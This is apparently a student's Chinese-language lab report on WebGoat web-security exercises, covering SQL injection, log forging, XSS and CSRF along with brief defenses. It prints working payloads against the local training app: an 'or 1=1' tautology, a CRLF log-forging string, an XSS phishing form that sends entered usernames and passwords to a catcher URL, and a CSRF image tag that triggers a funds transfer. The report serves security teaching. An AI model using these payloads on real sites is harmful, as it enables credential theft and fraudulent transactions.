2018-2019-2 20162329 《网络对抗技术》Exp9: Web安全基础
Exp9: Web安全基础
一、基础知识
1.SQL注入攻击
- 基本原理:
- 就是不法分子利用编程漏洞,通过表单输入特殊字符和恶意SQL代码,使得后台执行SQL查询时,对数据库产生不可预知或不可逆的攻击或破坏。
- 防御方法:
- 避免不必要的表单提交页面。
- 对表单输入进行控制,如:限制字符类型,限制字符长度等
- 在数据库层利用授权机制,限制数据库操作行为。
2.XSS跨站脚本攻击
- 基本原理:
- 攻击者利用网站漏洞,将恶意脚本代码通过注入,或者其他方式发送或存储到服务器中,通过利用用户对于浏览器的信任,当正常用户访问该服务器时就会受到脚本攻击,例如获得该用户的cookie或其他信息等。
- 防御方法:
- 用户尽量不要保存自己在浏览器中输入的用户名和密码
- 网站开发人员应该对用户上传的数据进行一定的过滤
- 对输入表单进行控制
3.CSRF跨站请求伪造
- 基本原理:
- 当用户访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个恶意网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。
- 防御方法:
- 验证请求中的Token
- 验证Referer
- 添加随机验证
- 设定cookie域
二、SQL注入
1. 命令注入
- 攻击过程:在表单提交中传入恶意命令数据,使其在服务器端执行。
- 实验过程:
- 在页面中点击鼠标右键,选择
inspect Element
- 按键盘
f12
查看网页源代码
- 点击
view
按钮,执行代码结果如下:
- 在页面中点击鼠标右键,选择
2. 数字注入
- 攻击过程:在表单输入中输入数字生成永真式,使得注入的SQL语句必定可以执行。
- 实验过程:
- 在实验网页上查看源代码,对
value='101'
进行修改,添加or 1=1
构成永真式,如图:
- 点击按钮执行,结果如下:
- 在实验网页上查看源代码,对
3. 日志欺骗
- 攻击过程:不法分子通过在注入脚本,通过脚本修改日志文件。
- 实验过程:
- 在实验环境提供的表单中输入
2329%0d%0aLogin Succeeded for username: 162329
其中%0d
和%0a
为回车符和换行符。 - 结果如下图:
- 在实验环境提供的表单中输入
三、XSS攻击
1. XSS钓鱼攻击
- 攻击过程:通过表单输入脚本,修改网页HTML,生成钓鱼网站,当用户输入时获取用户输入的信息。
- 实验过程:
- 在实验环境表单中输入脚本代码,构造钓鱼界面。
- 界面代码如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ";
}
</script>
- 将以上代码输入搜索框中,点击搜索如图:
- 当用户点击提交时攻击者界面会出现如下图:
四、CSRF攻击
1. 跨站请求伪造
- 攻击过程:
- 给用户发送一个恶意URL诱使其他用户点击,从而触发CSRF攻击。为了使用户更容易受骗,我们可以以图片的形式隐藏URL。
- 实验过程:
- 查看参数中src和menu值,为261和900
- 在message框中输入
<img src="http://localhost:8080/WebGoat/attack? Screen=261&menu=900&transferFunds=2329"/>
点击提交后结果如下:
- 当用户点击Message字段中的图片时就会盗取用户2329元
五、实验总结与体会
通过本次实验真实的感受了什么是SQL注入,XSS攻击和CRSF攻击,在实验中了解了其中的流程,也自己总结了对这些攻击的防御方法,感觉受益匪浅。
2018-2019-2 20162329 《网络对抗技术》Exp9: Web安全基础的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- Django学习笔记(18)——BBS+Blog项目开发(2)主体思路及流程
这篇博客主要完成一个BBS+Blog项目,那么主要是模仿博客园的博客思路,使用Django框架进行练习. 准备:项目需求分析 在做一个项目的时候,我们首先做的就是谈清楚项目需求,功能需求,然后才开始写 ...
- 云原生生态周报 Vol. 15 | K8s 安全审计报告发布
业界要闻 CNCF 公布 Kubernetes 的安全审计报告 报告收集了社区对 Kubernetes.CoreDNS.Envoy.Prometheus 等项目的安全问题反馈,包含从一般弱点到关键漏洞 ...
- 云原生生态周报 Vol. 14 | K8s CVE 修复指南
业界要闻 Mesosphere 公司正式更名为 D2IQ, 关注云原生. Mesosophere 公司日前发布官方声明正式更名为:D2iQ(Day-Two-I-Q),称关注点转向 Kubernetes ...
- 自动轮播swiper css实现
@keyframes scale { 0% { transform: scale(1, 1); opacity: 0.5; z-index:; transition: opacity z-index ...
- ABAP 新语法-实例讲解
主要内容 内联声明 构造表达式 内表操作 Open SQL 其他 本文列出了ABAP新语法的一些使用方式,供大家学习参考. 内联声明 代码实现: *&--------------------- ...
- 大一结业项目之一(C#晨曦超市管理系统 )
C#晨曦超市管理系统 我现是湖南工程职业技术学院大一的学生,很快 ...
- Visual Studio2017使用EF添加Mysql
为了能够在Visual Studio 中集成Mysql, 首先需要安装MySql的连接工具 与 MySql的VisualStudio插件. MySQL Connector Net 6.8.8 (目前最 ...
- Java学习——注解
Java学习——注解 摘要:本文主要介绍了Java开发常用的注解,以及如何自定义注解. 部分内容来自以下博客: https://www.cnblogs.com/Qian123/p/5256084.ht ...
- Linux下实现不活动用户登录超时后自动登出
方法一:通过修改.bashrc或.bash_profile文件来实现 通过修改home目录下的.bashrc或.bash_profile文件来实现.这两个文件选择其中一个在末尾加入如下一行,具体操作 ...
- 如何使 highchart图表标题文字可选择复制
highchart图表的一个常见问题是不能复制文字 比如官网的某个图表例子,文字不能选择,也无法复制,有时产品会抓狂... 本文给出一个简单的方案,包括一些解决的思路,希望能帮助到有需要的人 初期想了 ...